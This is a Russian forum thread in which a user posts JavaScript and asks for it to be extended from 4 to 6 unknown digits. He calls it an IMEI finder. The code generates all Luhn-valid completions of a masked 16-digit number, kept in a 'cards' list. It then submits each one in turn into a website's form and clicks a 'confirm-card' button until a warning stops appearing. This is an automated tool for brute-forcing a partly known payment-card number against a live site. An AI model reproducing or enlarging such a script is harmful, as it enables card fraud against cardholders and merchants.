|
Главная | Правила | Регистрация | Дневники | Справка | Пользователи | Календарь | Поиск | Сообщения за день | Все разделы прочитаны |
|
Опции темы | Опции просмотра |
04.03.2017, 13:32 | #1 (permalink) |
Новичок
Регистрация: 04.03.2017
Сообщений: 2
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Репутация: 10
|
Помогите, пожалуйста, исправить скрипт
Имеем скрипт который подбирает и проверяет imei код по алгоритму Луна. Imei:10171220****2704 пропущенные 4 цифры он подбирает и проверяет по алгоритму Луна. а мне надо что бы он умел 6 неизвестных пропущенных искать - проверять 101712******2704 Спасибо ! сам скрипт: var jq = document.createElement('script'); jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js"; document.getElementsByTagName('head')[0].appendChild(jq); var first_8 = '10171220'; var last_4 = '2704'; function valid_imei(value) { if (/[^0-9-\s]+/.test(value)) return false; //Алгоритм Луна var nCheck = 0, nDigit = 0, bEven = false; value = value.replace(/\D/g, ""); for (var n = value.length - 1; n >= 0; n--) { var cDigit = value.charAt(n), nDigit = parseInt(cDigit, 10); if (bEven) { if ((nDigit *= 2) > 9) nDigit -= 9; } nCheck += nDigit; bEven = !bEven; } return (nCheck % 10) == 0; } var cards = []; for (var i = 0; i < 10000; i++) { var str = "" + i; var pad = "0000"; var ans = pad.substring(0, pad.length - str.length) + str; var cc = first_8 + ans + last_4; if (valid_imei(cc)) { cards.push(cc); } } function checkCard() { if ($('.a-alert-warning').is(':visible')) { if ($('.section-overwrap').length > 0) { setTimeout(checkCard, 200); } else { var cc = cards.pop(); $('#addimei').val(cc); console.log(cc); $('#confirm-card').click(); setTimeout(checkCard, 300); } } else { return 1; } } checkCard(); |
04.03.2017, 13:32 | |
Helpmaster
Member
Регистрация: 08.03.2016
Сообщений: 0
|
Содержание вашей темы очень схоже с содержанием этих топиков Помогите, пожалуйста, исправить задачу Помогите, пожалуйста, исправить программу |
04.03.2017, 14:09 | #2 (permalink) |
Новичок
Регистрация: 04.03.2017
Сообщений: 2
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Репутация: 10
|
разобрался, можно удалять ))
|
Ads | |
Member
Регистрация: 31.10.2006
Сообщений: 40200
Записей в дневнике: 0
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Репутация: 55070
|
Опции темы | |
Опции просмотра | |
|
|